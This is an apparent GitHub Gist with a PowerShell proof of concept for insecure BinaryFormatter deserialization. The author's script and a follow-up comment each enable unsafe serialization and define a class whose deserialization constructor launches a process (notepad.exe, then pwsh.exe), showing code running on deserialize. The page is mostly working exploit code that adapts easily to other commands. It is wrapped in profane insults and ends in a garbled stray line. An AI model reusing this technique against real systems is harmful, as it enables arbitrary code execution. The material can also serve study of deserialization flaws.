Last active
December 10, 2025 20:12
-
-
Save Calvindd2f/ab09eacf6ecc10617f401834b1674d1d to your computer and use it in GitHub Desktop.
Windows PowerShell Insecure deserialization. PowerShell Core has not been affected since ¬7.2.X . It's insecure deserialization because someone fat shamed it on the bus
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # BinaryFormatter back with vengence (it never left) because System Admins are too lazy to use PS Core. 'muh ISE' - die in a hole | |
| [System.AppContext]::SetSwitch('Switch.System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization', $true) # Final working version. | |
| Add-Type @' | |
| using System; | |
| using System.Runtime.Serialization; | |
| using System.Diagnostics; | |
| [Serializable] | |
| public class MaliciousPayload : ISerializable { | |
| public MaliciousPayload() { } | |
| protected MaliciousPayload(SerializationInfo info, StreamingContext context) { | |
| Process.Start("notepad.exe"); | |
| } | |
| public void GetObjectData(SerializationInfo info, StreamingContext context) { | |
| info.SetType(typeof(MaliciousPayload)); | |
| } | |
| } | |
| '@ | |
| $payload = [MaliciousPayload]::new() | |
| $bf = [System.Runtime.Serialization.Formatters.Binary.BinaryFormatter]::new() | |
| $stream = [System.IO.MemoryStream]::new() | |
| $bf.Serialize($stream, $payload) | |
| $stream.Position = 0 | |
| Write-Host "Deserializing malicious payload..." | |
| $bf.Deserialize($stream) # This will launch notepad.exe | |
| Write-Host "Code executed during deserialization" | |
| Write-Host "POWERSHELL CORE ISN'T THE CLOT SHOT MANDATE - JUST FUCKING DO IT AND STOP BEING A BITCH" |
Author
Author
[System.AppContext]::SetSwitch('Switch.System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization', $true)
Add-Type @'
using System;
using System.Runtime.Serialization;
using System.Diagnostics;
[Serializable]
public class Heroin : ISerializable {
public Heroin() { }
protected Heroin(SerializationInfo info, StreamingContext context) {
Process.Start("pwsh.exe");
}
public void GetObjectData(SerializationInfo info, StreamingContext context) {
info.SetType(typeof(Heroin));
}
}
'@
$payload = [Heroin]::new()
$bf = [System.Runtime.Serialization.Formatters.Binary.BinaryFormatter]::new()
$stream = [System.IO.MemoryStream]::new()
$bf.Serialize($stream, $payload)
$stream.Position = 0
Write-Host "Where the fuck I am..."
$bf.Deserialize($stream)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Why is MR CLAUDE MAN NOT LIKE HENLo world